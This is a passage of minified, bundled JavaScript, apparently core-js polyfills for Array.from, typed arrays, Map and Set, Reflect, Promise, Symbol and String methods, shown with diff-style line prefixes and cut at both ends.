o[u++]; - if (d != d) return true - } else - for (; l > u; u++) - if (e || u in o) { - if (o[u] === i) return e || u || 0 - } - return !e && -1 - } - } - }, function (e, t, i) { - var n = i(80); - var r = Math.max; - var a = Math.min; - e.exports = function (e, t) { - e = n(e); - return e < 0 ? r(e + t, 0) : a(e, t) - } - }, function (e, t, i) { - var n = i(29).document; - e.exports = n && n.documentElement - }, function (e, t, i) { - "use strict"; - var n = i(82); - var r = i(24); - var a = i(62); - var s = i(268); - var o = i(269); - var l = i(125); - var u = i(270); - var d = i(271); - r(r.S + r.F * !i(273)(function (e) { - Array.from(e) - }), "Array", { - from: function e(t) { - var i = a(t); - var r = typeof this == "function" ? this : Array; - var f = arguments.length; - var c = f > 1 ? arguments[1] : undefined; - var h = c !== undefined; - var m = 0; - var p = d(i); - var v, _, g, y; - if (h) c = n(c, f > 2 ? arguments[2] : undefined, 2); - if (p != undefined && !(r == Array && o(p))) { - for (y = p.call(i), _ = new r; !(g = y.next()).done; m++) { - u(_, m, h ? s(y, c, [g.value, m], true) : g.value) - } - } else { - v = l(i.length); - for (_ = new r(v); v > m; m++) { - u(_, m, h ? c(i[m], m) : i[m]) - } - } - _.length = m; - return _ - } - }) - }, function (e, t, i) { - var n = i(45); - e.exports = function (e, t, i, r) { - try { - return r ? t(n(i)[0], i[1]) : t(i) - } catch (t) { - var a = e["return"]; - if (a !== undefined) n(a.call(e)); - throw t - } - } - }, function (e, t, i) { - var n = i(61); - var r = i(21)("iterator"); - var a = Array.prototype; - e.exports = function (e) { - return e !== undefined && (n.Array === e || a[r] === e) - } - }, function (e, t, i) { - "use strict"; - var n = i(30); - var r = i(60); - e.exports = function (e, t, i) { - if (t in e) n.f(e, t, r(0, i)); - else e[t] = i - } - }, function (e, t, i) { - var n = i(272); - var r = i(21)("iterator"); - var a = i(61); - e.exports = i(14).getIteratorMethod = function (e) { - if (e != undefined) return e[r] || e["@@iterator"] || a[n(e)] - } - }, function (e, t, i) { - var n = i(85); - var r = i(21)("toStringTag"); - var a = n(function () { - return arguments - }()) == "Arguments"; - var s = function (e, t) { - try { - return e[t] - } catch (e) {} - }; - e.exports = function (e) { - var t, i, o; - return e === undefined ? "Undefined" : e === null ? "Null" : typeof (i = s(t = Object(e), r)) == "string" ? i : a ? n(t) : (o = n(t)) == "Object" && typeof t.callee == "function" ? "Arguments" : o - } - }, function (e, t, i) { - var n = i(21)("iterator"); - var r = false; - try { - var a = [7][n](); - a["return"] = function () { - r = true - }; - Array.from(a, function () { - throw 2 - }) - } catch (e) {} - e.exports = function (e, t) { - if (!t && !r) return false; - var i = false; - try { - var a = [7]; - var s = a[n](); - s.next = function () { - return { - done: i = true - } - }; - a[n] = function () { - return s - }; - e(a) - } catch (e) {} - return i - } - }, function (e, t, i) { - "use strict"; - var n = i(0); - var r = i(91); - var a = i(128); - var s = i(10); - var o = i(52); - var l = i(17); - var u = i(8); - var d = i(9).ArrayBuffer; - var f = i(98); - var c = a.ArrayBuffer; - var h = a.DataView; - var m = r.ABV && d.isView; - var p = c.prototype.slice; - var v = r.VIEW; - var _ = "ArrayBuffer"; - n(n.G + n.W + n.F * (d !== c), { - ArrayBuffer: c - }); - n(n.S + n.F * !r.CONSTR, _, { - isView: function e(t) { - return m && m(t) || u(t) && v in t - } - }); - n(n.P + n.U + n.F * i(12)(function () { - return !new c(2).slice(1, undefined).byteLength - }), _, { - slice: function e(t, i) { - if (p !== undefined && i === undefined) return p.call(s(this), t); - var n = s(this).byteLength; - var r = o(t, n); - var a = o(i === undefined ? n : i, n); - var u = new(f(this, c))(l(a - r)); - var d = new h(this); - var m = new h(u); - var v = 0; - while (r < a) { - m.setUint8(v++, d.getUint8(r++)) - } - return u - } - }); - i(72)(_) - }, function (e, t, i) { - i(27)("Int8", 1, function (e) { - return function t(i, n, r) { - return e(this, i, n, r) - } - }) - }, function (e, t, i) { - var n = i(16); - var r = i(10); - var a = i(43); - e.exports = i(18) ? Object.defineProperties : function e(t, i) { - r(t); - var s = a(i); - var o = s.length; - var l = 0; - var u; - while (o > l) n.f(t, u = s[l++], i[u]); - return t - } - }, function (e, t, i) { - var n = i(278); - e.exports = function (e, t) { - return new(n(e))(t) - } - }, function (e, t, i) { - var n = i(8); - var r = i(132); - var a = i(11)("species"); - e.exports = function (e) { - var t; - if (r(e)) { - t = e.constructor; - if (typeof t == "function" && (t === Array || r(t.prototype))) t = undefined; - if (n(t)) { - t = t[a]; - if (t === null) t = undefined - } - } - return t === undefined ? Array : t - } - }, function (e, t, i) { - "use strict"; - var n = i(65); - var r = i(37); - var a = i(53); - var s = {}; - i(19)(s, i(11)("iterator"), function () { - return this - }); - e.exports = function (e, t, i) { - e.prototype = n(s, { - next: r(1, i) - }); - a(e, t + " Iterator") - } - }, function (e, t, i) { - i(27)("Uint8", 1, function (e) { - return function t(i, n, r) { - return e(this, i, n, r) - } - }) - }, function (e, t, i) { - i(27)("Uint8", 1, function (e) { - return function t(i, n, r) { - return e(this, i, n, r) - } - }, true) - }, function (e, t, i) { - i(27)("Int16", 2, function (e) { - return function t(i, n, r) { - return e(this, i, n, r) - } - }) - }, function (e, t, i) { - i(27)("Uint16", 2, function (e) { - return function t(i, n, r) { - return e(this, i, n, r) - } - }) - }, function (e, t, i) { - i(27)("Int32", 4, function (e) { - return function t(i, n, r) { - return e(this, i, n, r) - } - }) - }, function (e, t, i) { - i(27)("Uint32", 4, function (e) { - return function t(i, n, r) { - return e(this, i, n, r) - } - }) - }, function (e, t, i) { - i(27)("Float32", 4, function (e) { - return function t(i, n, r) { - return e(this, i, n, r) - } - }) - }, function (e, t, i) { - i(27)("Float64", 8, function (e) { - return function t(i, n, r) { - return e(this, i, n, r) - } - }) - }, function (e, t, i) { - "use strict"; - var n = i(136); - var r = i(57); - var a = "Map"; - e.exports = i(75)(a, function (e) { - return function t() { - return e(this, arguments.length > 0 ? arguments[0] : undefined) - } - }, { - get: function e(t) { - var i = n.getEntry(r(this, a), t); - return i && i.v - }, - set: function e(t, i) { - return n.def(r(this, a), t === 0 ? 0 : t, i) - } - }, n, true) - }, function (e, t, i) { - var n = i(8); - var r = i(103).set; - e.exports = function (e, t, i) { - var a = t.constructor; - var s; - if (a !== i && typeof a == "function" && (s = a.prototype) !== i.prototype && n(s) && r) { - r(e, s) - } - return e - } - }, function (e, t, i) { - "use strict"; - var n = i(136); - var r = i(57); - var a = "Set"; - e.exports = i(75)(a, function (e) { - return function t() { - return e(this, arguments.length > 0 ? arguments[0] : undefined) - } - }, { - add: function e(t) { - return n.def(r(this, a), t = t === 0 ? 0 : t, t) - } - }, n) - }, function (e, t, i) { - "use strict"; - var n = i(66)(0); - var r = i(32); - var a = i(33); - var s = i(138); - var o = i(139); - var l = i(8); - var u = i(12); - var d = i(57); - var f = "WeakMap"; - var c = a.getWeak; - var h = Object.isExtensible; - var m = o.ufstore; - var p = {}; - var v; - var _ = function (e) { - return function t() { - return e(this, arguments.length > 0 ? arguments[0] : undefined) - } - }; - var g = { - get: function e(t) { - if (l(t)) { - var i = c(t); - if (i === true) return m(d(this, f)).get(t); - return i ? i[this._i] : undefined - } - }, - set: function e(t, i) { - return o.def(d(this, f), t, i) - } - }; - var y = e.exports = i(75)(f, _, g, o, true, true); - if (u(function () { - return (new y).set((Object.freeze || Object)(p), 7).get(p) != 7 - })) { - v = o.getConstructor(_, f); - s(v.prototype, g); - a.NEED = true; - n(["delete", "has", "get", "set"], function (e) { - var t = y.prototype; - var i = t[e]; - r(t, e, function (t, n) { - if (l(t) && !h(t)) { - if (!this._f) this._f = new v; - var r = this._f[e](t, n); - return e == "set" ? this : r - } - return i.call(this, t, n) - }) - }) - } - }, function (e, t, i) { - "use strict"; - var n = i(139); - var r = i(57); - var a = "WeakSet"; - i(75)(a, function (e) { - return function t() { - return e(this, arguments.length > 0 ? arguments[0] : undefined) - } - }, { - add: function e(t) { - return n.def(r(this, a), t, true) - } - }, n, false, true) - }, function (e, t, i) { - var n = i(0); - var r = i(39); - var a = i(10); - var s = (i(9).Reflect || {}).apply; - var o = Function.apply; - n(n.S + n.F * !i(12)(function () { - s(function () {}) - }), "Reflect", { - apply: function e(t, i, n) { - var l = r(t); - var u = a(n); - return s ? s(l, i, u) : o.call(l, i, u) - } - }) - }, function (e, t, i) { - var n = i(0); - var r = i(65); - var a = i(39); - var s = i(10); - var o = i(8); - var l = i(12); - var u = i(295); - var d = (i(9).Reflect || {}).construct; - var f = l(function () { - function e() {} - return !(d(function () {}, [], e) instanceof e) - }); - var c = !l(function () { - d(function () {}) - }); - n(n.S + n.F * (f || c), "Reflect", { - construct: function e(t, i) { - a(t); - s(i); - var n = arguments.length < 3 ? t : a(arguments[2]); - if (c && !f) return d(t, i, n); - if (t == n) { - switch (i.length) { - case 0: - return new t; - case 1: - return new t(i[0]); - case 2: - return new t(i[0], i[1]); - case 3: - return new t(i[0], i[1], i[2]); - case 4: - return new t(i[0], i[1], i[2], i[3]) - } - var l = [null]; - l.push.apply(l, i); - return new(u.apply(t, l)) - } - var h = n.prototype; - var m = r(o(h) ? h : Object.prototype); - var p = Function.apply.call(t, m, i); - return o(p) ? p : m - } - }) - }, function (e, t, i) { - "use strict"; - var n = i(39); - var r = i(8); - var a = i(140); - var s = [].slice; - var o = {}; - var l = function (e, t, i) { - if (!(t in o)) { - for (var n = [], r = 0; r < t; r++) n[r] = "a[" + r + "]"; - o[t] = Function("F,a", "return new F(" + n.join(",") + ")") - } - return o[t](e, i) - }; - e.exports = Function.bind || function e(t) { - var i = n(this); - var o = s.call(arguments, 1); - var u = function () { - var e = o.concat(s.call(arguments)); - return this instanceof u ? l(i, e.length, e) : a(i, e, t) - }; - if (r(i.prototype)) u.prototype = i.prototype; - return u - } - }, function (e, t, i) { - var n = i(16); - var r = i(0); - var a = i(10); - var s = i(63); - r(r.S + r.F * i(12)(function () { - Reflect.defineProperty(n.f({}, 1, { - value: 1 - }), 1, { - value: 2 - }) - }), "Reflect", { - defineProperty: function e(t, i, r) { - a(t); - i = s(i, true); - a(r); - try { - n.f(t, i, r); - return true - } catch (e) { - return false - } - } - }) - }, function (e, t, i) { - var n = i(0); - var r = i(28).f; - var a = i(10); - n(n.S, "Reflect", { - deleteProperty: function e(t, i) { - var n = r(a(t), i); - return n && !n.configurable ? false : delete t[i] - } - }) - }, function (e, t, i) { - var n = i(28); - var r = i(55); - var a = i(20); - var s = i(0); - var o = i(8); - var l = i(10); - - function u(e, t) { - var i = arguments.length < 3 ? e : arguments[2]; - var s, d; - if (l(e) === i) return e[t]; - if (s = n.f(e, t)) return a(s, "value") ? s.value : s.get !== undefined ? s.get.call(i) : undefined; - if (o(d = r(e))) return u(d, t, i) - } - s(s.S, "Reflect", { - get: u - }) - }, function (e, t, i) { - var n = i(28); - var r = i(0); - var a = i(10); - r(r.S, "Reflect", { - getOwnPropertyDescriptor: function e(t, i) { - return n.f(a(t), i) - } - }) - }, function (e, t, i) { - var n = i(0); - var r = i(55); - var a = i(10); - n(n.S, "Reflect", { - getPrototypeOf: function e(t) { - return r(a(t)) - } - }) - }, function (e, t, i) { - var n = i(0); - n(n.S, "Reflect", { - has: function e(t, i) { - return i in t - } - }) - }, function (e, t, i) { - var n = i(0); - var r = i(10); - var a = Object.isExtensible; - n(n.S, "Reflect", { - isExtensible: function e(t) { - r(t); - return a ? a(t) : true - } - }) - }, function (e, t, i) { - var n = i(0); - n(n.S, "Reflect", { - ownKeys: i(141) - }) - }, function (e, t, i) { - var n = i(0); - var r = i(10); - var a = Object.preventExtensions; - n(n.S, "Reflect", { - preventExtensions: function e(t) { - r(t); - try { - if (a) a(t); - return true - } catch (e) { - return false - } - } - }) - }, function (e, t, i) { - var n = i(16); - var r = i(28); - var a = i(55); - var s = i(20); - var o = i(0); - var l = i(37); - var u = i(10); - var d = i(8); - - function f(e, t, i) { - var o = arguments.length < 4 ? e : arguments[3]; - var c = r.f(u(e), t); - var h, m; - if (!c) { - if (d(m = a(e))) { - return f(m, t, i, o) - } - c = l(0) - } - if (s(c, "value")) { - if (c.writable === false || !d(o)) return false; - if (h = r.f(o, t)) { - if (h.get || h.set || h.writable === false) return false; - h.value = i; - n.f(o, t, h) - } else n.f(o, t, l(0, i)); - return true - } - return c.set === undefined ? false : (c.set.call(o, i), true) - } - o(o.S, "Reflect", { - set: f - }) - }, function (e, t, i) { - var n = i(0); - var r = i(103); - if (r) n(n.S, "Reflect", { - setPrototypeOf: function e(t, i) { - r.check(t, i); - try { - r.set(t, i); - return true - } catch (e) { - return false - } - } - }) - }, function (e, t, i) { - "use strict"; - var n = i(40); - var r = i(9); - var a = i(25); - var s = i(99); - var o = i(0); - var l = i(8); - var u = i(39); - var d = i(50); - var f = i(74); - var c = i(98); - var h = i(104).set; - var m = i(308)(); - var p = i(142); - var v = i(309); - var _ = i(77); - var g = i(310); - var y = "Promise"; - var b = r.TypeError; - var w = r.process; - var M = w && w.versions; - var k = M && M.v8 || ""; - var L = r[y]; - var T = s(w) == "process"; - var x = function () {}; - var S, Y, D, E; - var C = Y = p.f; - var P = !! function () { - try { - var e = L.resolve(1); - var t = (e.constructor = {})[i(11)("species")] = function (e) { - e(x, x) - }; - return (T || typeof PromiseRejectionEvent == "function") && e.then(x) instanceof t && k.indexOf("6.6") !== 0 && _.indexOf("Chrome/66") === -1 - } catch (e) {} - }(); - var A = function (e) { - var t; - return l(e) && typeof (t = e.then) == "function" ? t : false - }; - var O = function (e, t) { - if (e._n) return; - e._n = true; - var i = e._c; - m(function () { - var n = e._v; - var r = e._s == 1; - var a = 0; - var s = function (t) { - var i = r ? t.ok : t.fail; - var a = t.resolve; - var s = t.reject; - var o = t.domain; - var l, u, d; - try { - if (i) { - if (!r) { - if (e._h == 2) I(e); - e._h = 1 - } - if (i === true) l = n; - else { - if (o) o.enter(); - l = i(n); - if (o) { - o.exit(); - d = true - } - } - if (l === t.promise) { - s(b("Promise-chain cycle")) - } else if (u = A(l)) { - u.call(l, a, s) - } else a(l) - } else s(n) - } catch (e) { - if (o && !d) o.exit(); - s(e) - } - }; - while (i.length > a) s(i[a++]); - e._c = []; - e._n = false; - if (t && !e._h) j(e) - }) - }; - var j = function (e) { - h.call(r, function () { - var t = e._v; - var i = H(e); - var n, a, s; - if (i) { - n = v(function () { - if (T) { - w.emit("unhandledRejection", t, e) - } else if (a = r.onunhandledrejection) { - a({ - promise: e, - reason: t - }) - } else if ((s = r.console) && s.error) { - s.error("Unhandled promise rejection", t) - } - }); - e._h = T || H(e) ? 2 : 1 - } - e._a = undefined; - if (i && n.e) throw n.v - }) - }; - var H = function (e) { - return e._h !== 1 && (e._a || e._c).length === 0 - }; - var I = function (e) { - h.call(r, function () { - var t; - if (T) { - w.emit("rejectionHandled", e) - } else if (t = r.onrejectionhandled) { - t({ - promise: e, - reason: e._v - }) - } - }) - }; - var F = function (e) { - var t = this; - if (t._d) return; - t._d = true; - t = t._w || t; - t._v = e; - t._s = 2; - if (!t._a) t._a = t._c.slice(); - O(t, true) - }; - var z = function (e) { - var t = this; - var i; - if (t._d) return; - t._d = true; - t = t._w || t; - try { - if (t === e) throw b("Promise can't be resolved itself"); - if (i = A(e)) { - m(function () { - var n = { - _w: t, - _d: false - }; - try { - i.call(e, a(z, n, 1), a(F, n, 1)) - } catch (e) { - F.call(n, e) - } - }) - } else { - t._v = e; - t._s = 1; - O(t, false) - } - } catch (e) { - F.call({ - _w: t, - _d: false - }, e) - } - }; - if (!P) { - L = function e(t) { - d(this, L, y, "_h"); - u(t); - S.call(this); - try { - t(a(z, this, 1), a(F, this, 1)) - } catch (e) { - F.call(this, e) - } - }; - S = function e(t) { - this._c = []; - this._a = undefined; - this._s = 0; - this._d = false; - this._v = undefined; - this._h = 0; - this._n = false - }; - S.prototype = i(49)(L.prototype, { - then: function e(t, i) { - var n = C(c(this, L)); - n.ok = typeof t == "function" ? t : true; - n.fail = typeof i == "function" && i; - n.domain = T ? w.domain : undefined; - this._c.push(n); - if (this._a) this._a.push(n); - if (this._s) O(this, false); - return n.promise - }, - catch: function (e) { - return this.then(undefined, e) - } - }); - D = function () { - var e = new S; - this.promise = e; - this.resolve = a(z, e, 1); - this.reject = a(F, e, 1) - }; - p.f = C = function (e) { - return e === L || e === E ? new D(e) : Y(e) - } - } - o(o.G + o.W + o.F * !P, { - Promise: L - }); - i(53)(L, y); - i(72)(y); - E = i(36)[y]; - o(o.S + o.F * !P, y, { - reject: function e(t) { - var i = C(this); - var n = i.reject; - n(t); - return i.promise - } - }); - o(o.S + o.F * (n || !P), y, { - resolve: function e(t) { - return g(n && this === E ? L : this, t) - } - }); - o(o.S + o.F * !(P && i(73)(function (e) { - L.all(e)["catch"](x) - })), y, { - all: function e(t) { - var i = this; - var n = C(i); - var r = n.resolve; - var a = n.reject; - var s = v(function () { - var e = []; - var n = 0; - var s = 1; - f(t, false, function (t) { - var o = n++; - var l = false; - e.push(undefined); - s++; - i.resolve(t).then(function (t) { - if (l) return; - l = true; - e[o] = t; - --s || r(e) - }, a) - }); - --s || r(e) - }); - if (s.e) a(s.v); - return n.promise - }, - race: function e(t) { - var i = this; - var n = C(i); - var r = n.reject; - var a = v(function () { - f(t, false, function (e) { - i.resolve(e).then(n.resolve, r) - }) - }); - if (a.e) r(a.v); - return n.promise - } - }) - }, function (e, t, i) { - var n = i(9); - var r = i(104).set; - var a = n.MutationObserver || n.WebKitMutationObserver; - var s = n.process; - var o = n.Promise; - var l = i(51)(s) == "process"; - e.exports = function () { - var e, t, i; - var u = function () { - var n, r; - if (l && (n = s.domain)) n.exit(); - while (e) { - r = e.fn; - e = e.next; - try { - r() - } catch (n) { - if (e) i(); - else t = undefined; - throw n - } - } - t = undefined; - if (n) n.enter() - }; - if (l) { - i = function () { - s.nextTick(u) - } - } else if (a && !(n.navigator && n.navigator.standalone)) { - var d = true; - var f = document.createTextNode(""); - new a(u).observe(f, { - characterData: true - }); - i = function () { - f.data = d = !d - } - } else if (o && o.resolve) { - var c = o.resolve(undefined); - i = function () { - c.then(u) - } - } else { - i = function () { - r.call(n, u) - } - } - return function (n) { - var r = { - fn: n, - next: undefined - }; - if (t) t.next = r; - if (!e) { - e = r; - i() - } - t = r - } - } - }, function (e, t) { - e.exports = function (e) { - try { - return { - e: false, - v: e() - } - } catch (e) { - return { - e: true, - v: e - } - } - } - }, function (e, t, i) { - var n = i(10); - var r = i(8); - var a = i(142); - e.exports = function (e, t) { - n(e); - if (r(t) && t.constructor === e) return t; - var i = a.f(e); - var s = i.resolve; - s(t); - return i.promise - } - }, function (e, t, i) { - "use strict"; - var n = i(9); - var r = i(20); - var a = i(18); - var s = i(0); - var o = i(32); - var l = i(33).KEY; - var u = i(12); - var d = i(95); - var f = i(53); - var c = i(38); - var h = i(11); - var m = i(143); - var p = i(312); - var v = i(313); - var _ = i(132); - var g = i(10); - var y = i(8); - var b = i(22); - var w = i(63); - var M = i(37); - var k = i(65); - var L = i(144); - var T = i(28); - var x = i(16); - var S = i(43); - var Y = T.f; - var D = x.f; - var E = L.f; - var C = n.Symbol; - var P = n.JSON; - var A = P && P.stringify; - var O = "prototype"; - var j = h("_hidden"); - var H = h("toPrimitive"); - var I = {}.propertyIsEnumerable; - var F = d("symbol-registry"); - var z = d("symbols"); - var R = d("op-symbols"); - var N = Object[O]; - var W = typeof C == "function"; - var B = n.QObject; - var q = !B || !B[O] || !B[O].findChild; - var $ = a && u(function () { - return k(D({}, "a", { - get: function () { - return D(this, "a", { - value: 7 - }).a - } - })).a != 7 - }) ? function (e, t, i) { - var n = Y(N, t); - if (n) delete N[t]; - D(e, t, i); - if (n && e !== N) D(N, t, n) - } : D; - var V = function (e) { - var t = z[e] = k(C[O]); - t._k = e; - return t - }; - var G = W && typeof C.iterator == "symbol" ? function (e) { - return typeof e == "symbol" - } : function (e) { - return e instanceof C - }; - var U = function e(t, i, n) { - if (t === N) U(R, i, n); - g(t); - i = w(i, true); - g(n); - if (r(z, i)) { - if (!n.enumerable) { - if (!r(t, j)) D(t, j, M(1, {})); - t[j][i] = true - } else { - if (r(t, j) && t[j][i]) t[j][i] = false; - n = k(n, { - enumerable: M(0, false) - }) - } - return $(t, i, n) - } - return D(t, i, n) - }; - var X = function e(t, i) { - g(t); - var n = v(i = b(i)); - var r = 0; - var a = n.length; - var s; - while (a > r) U(t, s = n[r++], i[s]); - return t - }; - var J = function e(t, i) { - return i === undefined ? k(t) : X(k(t), i) - }; - var K = function e(t) { - var i = I.call(this, t = w(t, true)); - if (this === N && r(z, t) && !r(R, t)) return false; - return i || !r(this, t) || !r(z, t) || r(this, j) && this[j][t] ? i : true - }; - var Q = function e(t, i) { - t = b(t); - i = w(i, true); - if (t === N && r(z, i) && !r(R, i)) return; - var n = Y(t, i); - if (n && r(z, i) && !(r(t, j) && t[j][i])) n.enumerable = true; - return n - }; - var Z = function e(t) { - var i = E(b(t)); - var n = []; - var a = 0; - var s; - while (i.length > a) { - if (!r(z, s = i[a++]) && s != j && s != l) n.push(s) - } - return n - }; - var ee = function e(t) { - var i = t === N; - var n = E(i ? R : b(t)); - var a = []; - var s = 0; - var o; - while (n.length > s) { - if (r(z, o = n[s++]) && (i ? r(N, o) : true)) a.push(z[o]) - } - return a - }; - if (!W) { - C = function e() { - if (this instanceof C) throw TypeError("Symbol is not a constructor!"); - var t = c(arguments.length > 0 ? arguments[0] : undefined); - var i = function (e) { - if (this === N) i.call(R, e); - if (r(this, j) && r(this[j], t)) this[j][t] = false; - $(this, t, M(1, e)) - }; - if (a && q) $(N, t, { - configurable: true, - set: i - }); - return V(t) - }; - o(C[O], "toString", function e() { - return this._k - }); - T.f = Q; - x.f = U; - i(64).f = L.f = Z; - i(67).f = K; - i(76).f = ee; - if (a && !i(40)) { - o(N, "propertyIsEnumerable", K, true) - } - m.f = function (e) { - return V(h(e)) - } - } - s(s.G + s.W + s.F * !W, { - Symbol: C - }); - for (var te = "hasInstance,isConcatSpreadable,iterator,match,replace,search,species,split,toPrimitive,toStringTag,unscopables".split(","), ie = 0; te.length > ie;) h(te[ie++]); - for (var ne = S(h.store), re = 0; ne.length > re;) p(ne[re++]); - s(s.S + s.F * !W, "Symbol", { - for: function (e) { - return r(F, e += "") ? F[e] : F[e] = C(e) - }, - keyFor: function e(t) { - if (!G(t)) throw TypeError(t + " is not a symbol!"); - for (var i in F) - if (F[i] === t) return i - }, - useSetter: function () { - q = true - }, - useSimple: function () { - q = false - } - }); - s(s.S + s.F * !W, "Object", { - create: J, - defineProperty: U, - defineProperties: X, - getOwnPropertyDescriptor: Q, - getOwnPropertyNames: Z, - getOwnPropertySymbols: ee - }); - P && s(s.S + s.F * (!W || u(function () { - var e = C(); - return A([e]) != "[null]" || A({ - a: e - }) != "{}" || A(Object(e)) != "{}" - })), "JSON", { - stringify: function e(t) { - var i = [t]; - var n = 1; - var r, a; - while (arguments.length > n) i.push(arguments[n++]); - a = r = i[1]; - if (!y(r) && t === undefined || G(t)) return; - if (!_(r)) r = function (e, t) { - if (typeof a == "function") t = a.call(this, e, t); - if (!G(t)) return t - }; - i[1] = r; - return A.apply(P, i) - } - }); - C[O][H] || i(19)(C[O], H, C[O].valueOf); - f(C, "Symbol"); - f(Math, "Math", true); - f(n.JSON, "JSON", true) - }, function (e, t, i) { - var n = i(9); - var r = i(36); - var a = i(40); - var s = i(143); - var o = i(16).f; - e.exports = function (e) { - var t = r.Symbol || (r.Symbol = a ? {} : n.Symbol || {}); - if (e.charAt(0) != "_" && !(e in t)) o(t, e, { - value: s.f(e) - }) - } - }, function (e, t, i) { - var n = i(43); - var r = i(76); - var a = i(67); - e.exports = function (e) { - var t = n(e); - var i = r.f; - if (i) { - var s = i(e); - var o = a.f; - var l = 0; - var u; - while (s.length > l) - if (o.call(e, u = s[l++])) t.push(u) - } - return t - } - }, function (e, t, i) { - var n = i(8); - var r = i(33).onFreeze; - i(23)("freeze", function (e) { - return function t(i) { - return e && n(i) ? e(r(i)) : i - } - }) - }, function (e, t, i) { - var n = i(8); - var r = i(33).onFreeze; - i(23)("seal", function (e) { - return function t(i) { - return e && n(i) ? e(r(i)) : i - } - }) - }, function (e, t, i) { - var n = i(8); - var r = i(33).onFreeze; - i(23)("preventExtensions", function (e) { - return function t(i) { - return e && n(i) ? e(r(i)) : i - } - }) - }, function (e, t, i) { - var n = i(8); - i(23)("isFrozen", function (e) { - return function t(i) { - return n(i) ? e ? e(i) : false : true - } - }) - }, function (e, t, i) { - var n = i(8); - i(23)("isSealed", function (e) { - return function t(i) { - return n(i) ? e ? e(i) : false : true - } - }) - }, function (e, t, i) { - var n = i(8); - i(23)("isExtensible", function (e) { - return function t(i) { - return n(i) ? e ? e(i) : true : false - } - }) - }, function (e, t, i) { - var n = i(22); - var r = i(28).f; - i(23)("getOwnPropertyDescriptor", function () { - return function e(t, i) { - return r(n(t), i) - } - }) - }, function (e, t, i) { - var n = i(26); - var r = i(55); - i(23)("getPrototypeOf", function () { - return function e(t) { - return r(n(t)) - } - }) - }, function (e, t, i) { - var n = i(26); - var r = i(43); - i(23)("keys", function () { - return function e(t) { - return r(n(t)) - } - }) - }, function (e, t, i) { - i(23)("getOwnPropertyNames", function () { - return i(144).f - }) - }, function (e, t, i) { - var n = i(0); - n(n.S + n.F, "Object", { - assign: i(138) - }) - }, function (e, t, i) { - var n = i(0); - n(n.S, "Object", { - is: i(326) - }) - }, function (e, t) { - e.exports = Object.is || function e(t, i) { - return t === i ? t !== 0 || 1 / t === 1 / i : t != t && i != i - } - }, function (e, t, i) { - var n = i(0); - n(n.S, "Object", { - setPrototypeOf: i(103).set - }) - }, function (e, t, i) { - var n = i(16).f; - var r = Function.prototype; - var a = /^\s*function ([^ (]*)/; - var s = "name"; - s in r || i(18) && n(r, s, { - configurable: true, - get: function () { - try { - return ("" + this).match(a)[1] - } catch (e) { - return "" - } - } - }) - }, function (e, t, i) { - var n = i(0); - var r = i(22); - var a = i(17); - n(n.S, "String", { - raw: function e(t) { - var i = r(t.raw); - var n = a(i.length); - var s = arguments.length; - var o = []; - var l = 0; - while (n > l) { - o.push(String(i[l++])); - if (l < s) o.push(String(arguments[l])) - } - return o.join("") - } - }) - }, function (e, t, i) { - var n = i(0); - var r = i(52); - var a = String.fromCharCode; - var s = String.fromCodePoint; - n(n.S + n.F * (!!s && s.length != 1), "String", { - fromCodePoint: function e(t) { - var i = []; - var n = arguments.length; - var s = 0; - var o; - while (n > s) { - o = +arguments[s++]; - if (r(o, 1114111) !== o) throw RangeError(o + " is not a valid code point"); - i.push(o < 65536 ? a(o) : a(((o -= 65536) >> 10) + 55296, o % 1024 + 56320)) - } - return i.join("") - } - }) - }, function (e, t, i) { - "use strict"; - var n = i(0); - var r = i(332)(false); - n(n.P, "String", { - codePointAt: function e(t) { - return r(this, t) - } - }) - }, function (e, t, i) { - var n = i(41); - var r = i(42); - e.exports = function (e) { - return function (t, i) { - var a = String(r(t)); - var s = n(i); - var o = a.length; - var l, u; - if (s < 0 || s >= o) return e ? "" : undefined; - l = a.charCodeAt(s); - return l < 55296 || l > 56319 || s + 1 === o || (u = a.charCodeAt(s + 1)) < 56320 || u > 57343 ? e ? a.charAt(s) : l : e ? a.slice(s, s + 2) : (l - 55296 << 10) + (u - 56320) + 65536 - } - } - }, function (e, t, i) { - var n = i(0); - n(n.P, "String", { - repeat: i(145) - }) - }, function (e, t, i) { - "use strict"; - var n = i(0); - var r = i(17); - var a = i(105); - var s = "startsWith"; - var o = "" [s]; - n(n.P + n.F * i(106)(s), "String", { - startsWith: function e(t) { - var i = a(this, t, s); - var n = r(Math.min(arguments.length > 1 ? arguments[1] : undefined, i.length)); - var l = String(t); - return o ? o.call(i, l, n) : i.slice(n, n + l.length) === l - } - }) - }, function (e, t, i) { - "use strict"; - var n = i(0); - var r = i(17); - var a = i(105); - var s = "endsWith"; - var o = "" [s]; - n(n.P + n.F * i(106)(s), "String", { - endsWith: function e(t) { - var i = a(this, t, s); - var n = arguments.length > 1 ? arguments[1] : undefined; - var l = r(i.length); - var u = n === undefined ? l : Math.min(r(n), l); - var d = String(t); - return o ? o.call(i, d, u) : i.slice(u - d.length, u) === d - } - }) - }, function (e, t, i) { - "use strict"; - var n = i(0); - var r = i(105); - var a = "includes"; - n(n.P + n.F * i(106)(a), "String", { - includes: function e(t) { - return !!~r(this, t, a).indexOf(t, arguments.length > 1 ? arguments[1] : undefined) - } - }) - }, function (e, t, i) { - if (i(18) && /./g.flags != "g") i(16).f(RegExp.prototype, "flags", { - configurable: true, - get: i(338) - }) - }, function (e, t, i) { - "use strict"; - var n = i(10); - e.exports = function () { - var e = n(this); - var t = ""; - if (e.global) t += "g"; - if (e.ignoreCase) t += "i"; - if (e.multiline) t += "m"; - if (e.unicode) t += "u"; - if (e.sticky) t += "y"; - return t - } - }, function (e, t, i) { - i(78)("match", 1, function (e, t, i) { - return [function i(n) { - "use strict"; - var r = e(this); - var a = n == undefined ? undefined : n[t]; - return a !== undefined ? a.call(n, r) : new RegExp(n)[t](String(r)) - }, i] - }) - }, function (e, t, i) { - i(78)("replace", 2, function (e, t, i) { - return [function n(r, a) { - "use strict"; - var s = e(this); - var o = r == undefined ? undefined : r[t]; - return o !== undefined ? o.call(r, s, a) : i.call(String(s), r, a) - }, i] - }) - }, function (e, t, i) { - i(78)("split", 2, function (e, t, n) { - "use strict"; - var r = i(146); - var a = n; - var s = [].push; - var o = "split"; - var l = "length"; - var u = "lastIndex"; - if ("abbc" [o](/(b)*/)[1] == "c" || "test" [o](/(?:)/, -1)[l] != 4 || "ab" [o](/(?:ab)*/)[l] != 2 || "." [o](/(.?)(.?)/)[l] != 4 || "." [o](/()()/)[l] > 1 || "" [o](/.?/)[l]) { - var d = /()??/.exec("")[1] === undefined; - n = function (e, t) { - var i = String(this); - if 